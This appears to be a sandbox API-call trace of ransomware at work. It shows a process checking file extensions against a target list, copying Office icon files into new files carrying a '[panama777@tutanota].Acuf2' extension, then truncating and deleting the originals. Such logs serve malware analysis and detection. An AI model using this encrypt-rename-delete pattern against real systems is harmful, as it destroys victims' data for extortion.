	[0275.400] lstrlenW (lpString=".doc") returned 4
	[0275.400] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.400] lstrlenW (lpString=".docx") returned 5
	[0275.400] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1
	[0275.400] lstrlenW (lpString=".pdf") returned 4
	[0275.400] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.400] lstrlenW (lpString=".xls") returned 4
	[0275.400] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.400] lstrlenW (lpString=".xlsx") returned 5
	[0275.400] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1
	[0275.400] lstrlenW (lpString=".ppt") returned 4
	[0275.400] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66
	[0275.400] lstrlenW (lpString=".zip") returned 4
	[0275.400] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.400] lstrlenW (lpString=".rar") returned 4
	[0275.400] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.400] lstrlenW (lpString=".bz2") returned 4
	[0275.400] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.400] lstrlenW (lpString=".7z") returned 3
	[0275.400] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66
	[0275.400] lstrlenW (lpString=".dbf") returned 4
	[0275.400] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66
	[0275.400] lstrlenW (lpString=".1cd") returned 4
	[0275.400] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66
	[0275.400] lstrlenW (lpString=".jpg") returned 4
	[0275.400] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.401] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1078) returned 1
	[0275.401] CloseHandle (hObject=0x218) returned 1
	[0275.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 0x20
	[0275.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0275.401] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.401] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.402] GetLastError () returned 0x0
	[0275.402] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.403] WriteFile (in: hFile=0x214, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.404] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.404] WriteFile (in: hFile=0x214, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.404] SetEndOfFile (hFile=0x214) returned 1
	[0275.404] CloseHandle (hObject=0x214) returned 1
	[0275.404] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.404] SetEndOfFile (hFile=0x218) returned 1
	[0275.406] CloseHandle (hObject=0x218) returned 1
	[0275.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 1
	[0275.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66
	[0275.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66
	[0275.407] lstrlenW (lpString=".doc") returned 4
	[0275.407] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.407] lstrlenW (lpString=".docx") returned 5
	[0275.407] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1
	[0275.407] lstrlenW (lpString=".pdf") returned 4
	[0275.407] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.407] lstrlenW (lpString=".xls") returned 4
	[0275.407] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.407] lstrlenW (lpString=".xlsx") returned 5
	[0275.407] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1
	[0275.407] lstrlenW (lpString=".ppt") returned 4
	[0275.407] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66
	[0275.407] lstrlenW (lpString=".zip") returned 4
	[0275.407] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.407] lstrlenW (lpString=".rar") returned 4
	[0275.407] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.408] lstrlenW (lpString=".bz2") returned 4
	[0275.408] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.408] lstrlenW (lpString=".7z") returned 3
	[0275.408] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66
	[0275.408] lstrlenW (lpString=".dbf") returned 4
	[0275.408] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66
	[0275.408] lstrlenW (lpString=".1cd") returned 4
	[0275.408] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66
	[0275.408] lstrlenW (lpString=".jpg") returned 4
	[0275.408] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.408] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2998) returned 1
	[0275.408] CloseHandle (hObject=0x218) returned 1
	[0275.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 0x20
	[0275.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0275.409] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.409] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0275.477] GetLastError () returned 0x0
	[0275.477] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0275.481] WriteFile (in: hFile=0x37c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0275.482] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.482] WriteFile (in: hFile=0x37c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.482] SetEndOfFile (hFile=0x37c) returned 1
	[0275.482] CloseHandle (hObject=0x37c) returned 1
	[0275.482] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.482] SetEndOfFile (hFile=0x218) returned 1
	[0275.484] CloseHandle (hObject=0x218) returned 1
	[0275.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 1
	[0275.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66
	[0275.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66
	[0275.487] lstrlenW (lpString=".doc") returned 4
	[0275.487] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.487] lstrlenW (lpString=".docx") returned 5
	[0275.487] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1
	[0275.487] lstrlenW (lpString=".pdf") returned 4
	[0275.487] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.487] lstrlenW (lpString=".xls") returned 4
	[0275.487] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.487] lstrlenW (lpString=".xlsx") returned 5
	[0275.487] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1
	[0275.487] lstrlenW (lpString=".ppt") returned 4
	[0275.487] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66
	[0275.487] lstrlenW (lpString=".zip") returned 4
	[0275.487] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.487] lstrlenW (lpString=".rar") returned 4
	[0275.487] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.487] lstrlenW (lpString=".bz2") returned 4
	[0275.487] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.488] lstrlenW (lpString=".7z") returned 3
	[0275.488] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66
	[0275.488] lstrlenW (lpString=".dbf") returned 4
	[0275.488] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66
	[0275.488] lstrlenW (lpString=".1cd") returned 4
	[0275.488] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66
	[0275.488] lstrlenW (lpString=".jpg") returned 4
	[0275.488] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.488] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1078) returned 1
	[0275.488] CloseHandle (hObject=0x218) returned 1
	[0275.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 0x20
	[0275.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0275.489] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.489] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0275.489] GetLastError () returned 0x0
	[0275.489] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.515] WriteFile (in: hFile=0x37c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.516] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.516] WriteFile (in: hFile=0x37c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0275.516] SetEndOfFile (hFile=0x37c) returned 1
	[0275.516] CloseHandle (hObject=0x37c) returned 1
	[0275.516] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.516] SetEndOfFile (hFile=0x218) returned 1
	[0275.518] CloseHandle (hObject=0x218) returned 1
	[0275.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 1
	[0275.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65
	[0275.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65
	[0275.518] lstrlenW (lpString=".doc") returned 4
	[0275.518] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.518] lstrlenW (lpString=".docx") returned 5
	[0275.518] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1
	[0275.518] lstrlenW (lpString=".pdf") returned 4
	[0275.518] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.518] lstrlenW (lpString=".xls") returned 4
	[0275.518] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.518] lstrlenW (lpString=".xlsx") returned 5
	[0275.518] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1
	[0275.518] lstrlenW (lpString=".ppt") returned 4
	[0275.518] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65
	[0275.519] lstrlenW (lpString=".zip") returned 4
	[0275.519] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.519] lstrlenW (lpString=".rar") returned 4
	[0275.519] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.519] lstrlenW (lpString=".bz2") returned 4
	[0275.519] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.519] lstrlenW (lpString=".7z") returned 3
	[0275.519] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65
	[0275.519] lstrlenW (lpString=".dbf") returned 4
	[0275.519] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65
	[0275.519] lstrlenW (lpString=".1cd") returned 4
	[0275.519] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65
	[0275.519] lstrlenW (lpString=".jpg") returned 4
	[0275.519] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.519] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2998) returned 1
	[0275.519] CloseHandle (hObject=0x218) returned 1
	[0275.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 0x20
	[0275.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0275.520] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.520] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0277.412] GetLastError () returned 0x0
	[0277.412] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0277.414] WriteFile (in: hFile=0x29c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0277.725] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.725] WriteFile (in: hFile=0x29c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0277.725] SetEndOfFile (hFile=0x29c) returned 1
	[0277.725] CloseHandle (hObject=0x29c) returned 1
	[0277.725] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.725] SetEndOfFile (hFile=0x218) returned 1
	[0277.727] CloseHandle (hObject=0x218) returned 1
	[0277.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 1
	[0277.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65
	[0277.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65
	[0277.731] lstrlenW (lpString=".doc") returned 4
	[0277.731] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0277.731] lstrlenW (lpString=".docx") returned 5
	[0277.731] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1
	[0277.731] lstrlenW (lpString=".pdf") returned 4
	[0277.731] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0277.731] lstrlenW (lpString=".xls") returned 4
	[0277.731] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0277.731] lstrlenW (lpString=".xlsx") returned 5
	[0277.731] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1
	[0277.731] lstrlenW (lpString=".ppt") returned 4
	[0277.731] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0277.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65
	[0277.731] lstrlenW (lpString=".zip") returned 4
	[0277.731] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0277.731] lstrlenW (lpString=".rar") returned 4
	[0277.731] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0277.731] lstrlenW (lpString=".bz2") returned 4
	[0277.732] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0277.732] lstrlenW (lpString=".7z") returned 3
	[0277.732] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0277.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65
	[0277.732] lstrlenW (lpString=".dbf") returned 4
	[0277.732] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0277.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65
	[0277.732] lstrlenW (lpString=".1cd") returned 4
	[0277.732] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0277.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65
	[0277.732] lstrlenW (lpString=".jpg") returned 4
	[0277.732] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0277.733] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.733] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
